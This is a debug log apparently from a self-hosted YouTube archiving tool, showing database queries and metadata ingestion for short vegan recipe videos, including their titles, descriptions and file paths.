m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:52.754 [debug] QUERY OK source="media_items" db=0.3ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [806] 20:29:52.755 [debug] Current batch of media processed. Will check again in 1000ms 20:29:53.756 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This combination of everyone's go-to pasta mixed with a mexican fajita veggie blend and spices is absolutely delicious. I've made my fajita pasta vegan, gluten-free and packed full of protein with chickpea pasta noodles.\n\nFull Recipe Video: https://youtu.be/5KuWGZ9N85g", "duration" => 37, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Italian Mexican Food Fusion Masterpiece - Fajita Pasta #shorts/Italian Mexican Food Fusion Masterpiece - Fajita Pasta #shorts [nqrltg83M74].NA", "id" => "nqrltg83M74", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/nqrltg83M74", "playlist_index" => 418, "timestamp" => 1653661815, "title" => "Italian Mexican Food Fusion Masterpiece - Fajita Pasta #shorts", "upload_date" => "20220527"} 20:29:53.757 [debug] QUERY OK source="sources" db=0.6ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:53.758 [debug] QUERY OK source="sources" db=0.6ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:53.761 [debug] QUERY OK source="media_items" db=2.5ms idle=1004.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-27 14:30:15Z], 1] 20:29:53.763 [debug] QUERY OK source="media_items" db=1.0ms idle=1006.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This combination of everyone's go-to pasta mixed with a mexican fajita veggie blend and spices is absolutely delicious. I've made my fajita pasta vegan, gluten-free and packed full of protein with chickpea pasta noodles.\n\nFull Recipe Video: https://youtu.be/5KuWGZ9N85g", "Italian Mexican Food Fusion Masterpiece - Fajita Pasta #shorts", "636d434e-a499-4989-b09a-956b77d68404", 1, [], 37, false, "nqrltg83M74", "https://www.youtube.com/shorts/nqrltg83M74", 418, "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Italian Mexican Food Fusion Masterpiece - Fajita Pasta #shorts/Italian Mexican Food Fusion Masterpiece - Fajita Pasta #shorts [nqrltg83M74].NA", false, false, true, 2, ~U[2022-05-27 14:30:15Z], ~U[2026-03-22 03:29:53Z], ~U[2026-03-22 03:29:53Z], "This combination of everyone's go-to pasta mixed with a mexican fajita veggie blend and spices is absolutely delicious. I've made my fajita pasta vegan, gluten-free and packed full of protein with chickpea pasta noodles.\n\nFull Recipe Video: https://youtu.be/5KuWGZ9N85g", "Italian Mexican Food Fusion Masterpiece - Fajita Pasta #shorts", 1, 37, false, "nqrltg83M74", "https://www.youtube.com/shorts/nqrltg83M74", "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Italian Mexican Food Fusion Masterpiece - Fajita Pasta #shorts/Italian Mexican Food Fusion Masterpiece - Fajita Pasta #shorts [nqrltg83M74].NA", true, ~U[2022-05-27 14:30:15Z]] 20:29:53.764 [debug] QUERY OK source="sources" db=0.8ms idle=243.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:53.765 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:53.765 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [807] 20:29:53.766 [debug] Current batch of media processed. Will check again in 1000ms 20:29:54.767 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Absolutely love bringing this salad to BBQs, picnics, or just making a big batch at home to eat throught the week. It's a vegan and gluten-free pesto quinoa bean salad and it's a great choice to add into your weekly meal preparation!\n\nFull Recipe: https://youtu.be/ynFymKYA6-o", "duration" => 22, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Summer Pesto Quinoa Bean Salad #shorts/Summer Pesto Quinoa Bean Salad #shorts [aY-Kpmo5x40].NA", "id" => "aY-Kpmo5x40", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/aY-Kpmo5x40", "playlist_index" => 419, "timestamp" => 1653609600, "title" => "Summer Pesto Quinoa Bean Salad #shorts", "upload_date" => "20220527"} 20:29:54.768 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1004.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:54.769 [debug] QUERY OK source="sources" db=0.2ms queue=0.4ms idle=1004.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:54.772 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=1004.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-27 00:00:00Z], 1] 20:29:54.773 [debug] QUERY OK source="media_items" db=0.8ms idle=1006.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Absolutely love bringing this salad to BBQs, picnics, or just making a big batch at home to eat throught the week. It's a vegan and gluten-free pesto quinoa bean salad and it's a great choice to add into your weekly meal preparation!\n\nFull Recipe: https://youtu.be/ynFymKYA6-o", "Summer Pesto Quinoa Bean Salad #shorts", "09a33270-dd26-4529-b3fd-4e0876b3fc86", 1, [], 22, false, "aY-Kpmo5x40", "https://www.youtube.com/shorts/aY-Kpmo5x40", 419, "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Summer Pesto Quinoa Bean Salad #shorts/Summer Pesto Quinoa Bean Salad #shorts [aY-Kpmo5x40].NA", false, false, true, 3, ~U[2022-05-27 00:00:00Z], ~U[2026-03-22 03:29:54Z], ~U[2026-03-22 03:29:54Z], "Absolutely love bringing this salad to BBQs, picnics, or just making a big batch at home to eat throught the week. It's a vegan and gluten-free pesto quinoa bean salad and it's a great choice to add into your weekly meal preparation!\n\nFull Recipe: https://youtu.be/ynFymKYA6-o", "Summer Pesto Quinoa Bean Salad #shorts", 1, 22, false, "aY-Kpmo5x40", "https://www.youtube.com/shorts/aY-Kpmo5x40", "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Summer Pesto Quinoa Bean Salad #shorts/Summer Pesto Quinoa Bean Salad #shorts [aY-Kpmo5x40].NA", true, ~U[2022-05-27 00:00:00Z]] 20:29:54.774 [debug] QUERY OK source="sources" db=0.3ms idle=252.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:54.775 [debug] QUERY OK source="media_profiles" db=0.6ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:54.775 [debug] QUERY OK source="media_items" db=0.4ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [808] 20:29:54.775 [debug] Current batch of media processed. Will check again in 1000ms 20:29:55.776 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Curried Green Beans with Tomatoes & Chickpeas! 😋 featuring delicious produce from my fave @pekoproduce! \n\nWho else has got onions, tomatoes and green beans in their Peko boxes recently? I had some beans from my last box that needed to get used up so adding them into this curry with my other ‘rescued’ tomatoes and onions worked out DELICIOUSLY! \n\nSAVE THIS RECIPE FOR LATER! ✔️ \n\n1 can of chickpeas, drained + rinsed\n1 lb. French green beans (rescued!) ends trimmed\n1 28 oz. can diced tomatoes \n1-2 tomatoes on vine (rescued!) diced\n1 small onion (rescued!) diced\n5-6 cloves roasted garlic, mashed with fork\n1/3 - 1/2 cup coconut milk\n2 tbsp oil (or 1/4 water for oil free)\n\nSPICES\n1 tsp Coriander\n2 tsp Chilli powder\n1 tsp Cumin\n1 tsp Garlic powder\n1.5 tsp Paprika\n1 tsp ginger\n1 tsp Cinnamon\n1 tsp Turmeric\nBlack pepper and salt to taste\n\nSautee the onions and roasted garlic in the oil/water until soft and translucent — add the spices and mix thoroughly, letting them toast for 2 minutes — add the chickpeas, green beans, fresh and canned tomatoes and coconut milk, stir to combine, cover until bubbling on medium-high heat— once bubbling remove lid and turn down to medium heat — let simmer for 12-15 minutes until sauce has slightly thickened and darkened in colour — serve over grain of choice and enjoy!\n\nThank you once again to @pekoproduce for keeping fantastic quality produce out of our landfills and putting it on your community members tables instead. If you want to take part in Peko’s mission to reduce food waste (which is a leading contributor to the climate crises) all while saving money on your next grocery bill — because HELLO increased food costs 😩— then check out my Instagram bio @steamyvegan for a $5 coupon for your first box of produce! 🌱🌱\n\n#steamyvegankitchen #steamyvegan #pekoproduce #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-26 Curry in a hurry! Make this when ya got no time for dinner ☺️/Curry in a hurry! Make this when ya got no time for dinner ☺️ [TBrA1d-dzqs].NA", "id" => "TBrA1d-dzqs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/TBrA1d-dzqs", "playlist_index" => 420, "timestamp" => 1653593401, "title" => "Curry in a hurry! Make this when ya got no time for dinner ☺️", "upload_date" => "20220526"} 20:29:55.777 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:55.778 [debug] QUERY OK source="sources" db=0.3ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:55.780 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=1003.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-26 19:30:01Z], 1] 20:29:55.782 [debug] QUERY OK source="media_items" db=1.2ms idle=1005.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Curried Green Beans with Tomatoes & Chickpeas! 😋 featuring delicious produce from my fave @pekoproduce! \n\nWho else has got onions, tomatoes and green beans in their Peko boxes recently? I had some beans from my last box that needed to get used up so adding them into this curry with my other ‘rescued’ tomatoes and onions worked out DELICIOUSLY! \n\nSAVE THIS RECIPE FOR LATER! ✔️ \n\n1 can of chickpeas, drained + rinsed\n1 lb. French green beans (rescued!) ends trimmed\n1 28 oz. can diced tomatoes \n1-2 tomatoes on vine (rescued!) diced\n1 small onion (rescued!) diced\n5-6 cloves roasted garlic, mashed with fork\n1/3 - 1/2 cup coconut milk\n2 tbsp oil (or 1/4 water for oil free)\n\nSPICES\n1 tsp Coriander\n2 tsp Chilli powder\n1 tsp Cumin\n1 tsp Garlic powder\n1.5 tsp Paprika\n1 tsp ginger\n1 tsp Cinnamon\n1 tsp Turmeric\nBlack pepper and salt to taste\n\nSautee the onions and roasted garlic in the oil/water until soft and translucent — add the spices and mix thoroughly, letting them toast for 2 minutes — add the chickpeas, green beans, fresh and canned tomatoes and coconut milk, stir to combine, cover until bubbling on medium-high heat— once bubbling remove lid and turn down to medium heat — let simmer for 12-15 minutes until sauce has slightly thickened and darkened in colour — serve over grain of choice and enjoy!\n\nThank you once again to @pekoproduce for keeping fantastic quality produce out of our landfills and putting it on your community members tables instead. If you want to take part in Peko’s mission to reduce food waste (which is a leading contributor to the climate crises) all while saving money on your next grocery bill — because HELLO increased food costs 😩— then check out my Instagram bio @steamyvegan for a $5 coupon for your first box of produce! 🌱🌱\n\n#steamyvegankitchen #steamyvegan #pekoproduce #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "Curry in a hurry! Make this when ya got no time for dinner ☺️", "c432878d-9842-4393-abaf-ec02b86de365", 1, [], 15, false, "TBrA1d-dzqs", "https://www.youtube.com/shorts/TBrA1d-dzqs", 420, "/downloads/downloads/alec/Steamy Vegan/2022-05-26 Curry in a hurry! Make this when ya got no time for dinner ☺️/Curry in a hurry! Make this when ya got no time for dinner ☺️ [TBrA1d-dzqs].NA", false, false, true, 1, ~U[2022-05-26 19:30:01Z], ~U[2026-03-22 03:29:55Z], ~U[2026-03-22 03:29:55Z], "Curried Green Beans with Tomatoes & Chickpeas! 😋 featuring delicious produce from my fave @pekoproduce! \n\nWho else has got onions, tomatoes and green beans in their Peko boxes recently? I had some beans from my last box that needed to get used up so adding them into this curry with my other ‘rescued’ tomatoes and onions worked out DELICIOUSLY! \n\nSAVE THIS RECIPE FOR LATER! ✔️ \n\n1 can of chickpeas, drained + rinsed\n1 lb. French green beans (rescued!) ends trimmed\n1 28 oz. can diced tomatoes \n1-2 tomatoes on vine (rescued!) diced\n1 small onion (rescued!) diced\n5-6 cloves roasted garlic, mashed with fork\n1/3 - 1/2 cup coconut milk\n2 tbsp oil (or 1/4 water for oil free)\n\nSPICES\n1 tsp Coriander\n2 tsp Chilli powder\n1 tsp Cumin\n1 tsp Garlic powder\n1.5 tsp Paprika\n1 tsp ginger\n1 tsp Cinnamon\n1 tsp Turmeric\nBlack pepper and salt to taste\n\nSautee the onions and roasted garlic in the oil/water until soft and translucent — add the spices and mix thoroughly, letting them toast for 2 minutes — add the chickpeas, green beans, fresh and canned tomatoes and coconut milk, stir to combine, cover until bubbling on medium-high heat— once bubbling remove lid and turn down to medium heat — let simmer for 12-15 minutes until sauce has slightly thickened and darkened in colour — serve over grain of choice and enjoy!\n\nThank you once again to @pekoproduce for keeping fantastic quality produce out of our landfills and putting it on your community members tables instead. If you want to take part in Peko’s mission to reduce food waste (which is a leading contributor to the climate crises) all while saving money on your next grocery bill — because HELLO increased food costs 😩— then check out my Instagram bio @steamyvegan for a $5 coupon for your first box of produce! 🌱🌱\n\n#steamyvegankitchen #steamyvegan #pekoproduce #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "Curry in a hurry! Make this when ya got no time for dinner ☺️", 1, 15, false, "TBrA1d-dzqs", "https://www.youtube.com/shorts/TBrA1d-dzqs", "/downloads/downloads/alec/Steamy Vegan/2022-05-26 Curry in a hurry! Make this when ya got no time for dinner ☺️/Curry in a hurry! Make this when ya got no time for dinner ☺️ [TBrA1d-dzqs].NA", true, ~U[2022-05-26 19:30:01Z]] 20:29:55.783 [debug] QUERY OK source="sources" db=0.3ms idle=259.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:55.784 [debug] QUERY OK source="media_profiles" db=0.7ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:55.785 [debug] QUERY OK source="media_items" db=0.4ms idle=6.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [809] 20:29:55.785 [debug] Current batch of media processed. Will check again in 1000ms 20:29:56.786 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I love eating toast but just putting butter on it just doesn't fill me up so I like to make my quick and easy breakfast toast a few healthier ways. These are all vegan and gluten-free toast recipes and you can see the full recipe video below or subscribe and check out all my different easy vegan and gluten-free recipes!\n\nFull Recipe Video: https://youtu.be/IimdaH0kc8I", "duration" => 45, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-26 My Favorite Ways to Make My Toast Healthier for Breakfast #shorts/My Favorite Ways to Make My Toast Healthier for Breakfast #shorts [3YLLa-eeGlI].NA", "id" => "3YLLa-eeGlI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/3YLLa-eeGlI", "playlist_index" => 421, "timestamp" => 1653569100, "title" => "My Favorite Ways to Make My Toast Healthier for Breakfast #shorts", "upload_date" => "20220526"} 20:29:56.787 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", 